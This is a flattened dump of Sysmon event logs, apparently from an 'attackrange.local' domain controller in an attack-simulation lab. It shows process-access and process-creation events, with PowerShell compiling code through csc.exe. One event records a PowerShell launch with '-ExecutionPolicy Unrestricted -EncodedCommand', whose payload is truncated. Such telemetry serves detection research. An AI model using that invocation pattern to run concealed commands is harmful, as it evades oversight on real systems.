09:10:24.851{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002990Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.851{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002989Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.851{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002988Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.851{A5F018FF-2900-5F80-9200-000000007F01}50045036C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-2900-5F80-9300-000000007F01}4308C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002987Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.851{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002986Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.851{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002985Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.854{A5F018FF-2900-5F80-9300-000000007F01}4308C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES1BA1.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC58ECD9FCDBA141E189B3EBFE64181683.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28FF-5F80-9D63-050000000000}0x5639d0HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-2900-5F80-9200-000000007F01}5004C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\0jplke43.cmdline" 354300x80000000000000002984Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.507{A5F018FF-28F7-5F80-8500-000000007F01}4140C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruetrue0:0:0:0:0:0:0:1win-dc-1796611.attackrange.local56381-true0:0:0:0:0:0:0:1win-dc-1796611.attackrange.local47001- 10341000x80000000000000002983Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.710{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002982Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.710{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002981Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.710{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002980Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.648{A5F018FF-28FF-5F80-8D00-000000007F01}47444736C:\Windows\system32\conhost.exe{A5F018FF-2900-5F80-9200-000000007F01}5004C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002979Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.648{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002978Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.632{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002977Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.632{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002976Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.632{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2900-5F80-9200-000000007F01}5004C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002975Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.632{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002974Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.632{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002973Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.632{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002972Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.632{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002971Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.632{A5F018FF-2900-5F80-9000-000000007F01}48685000C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2900-5F80-9200-000000007F01}5004C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c1edb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c19a9|UNKNOWN(00007FFAA908B68F) 10341000x80000000000000002970Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.632{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002969Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.632{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002968Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.613{A5F018FF-2900-5F80-9200-000000007F01}5004C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\0jplke43.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28FF-5F80-9D63-050000000000}0x5639d0HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-2900-5F80-9000-000000007F01}4868C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 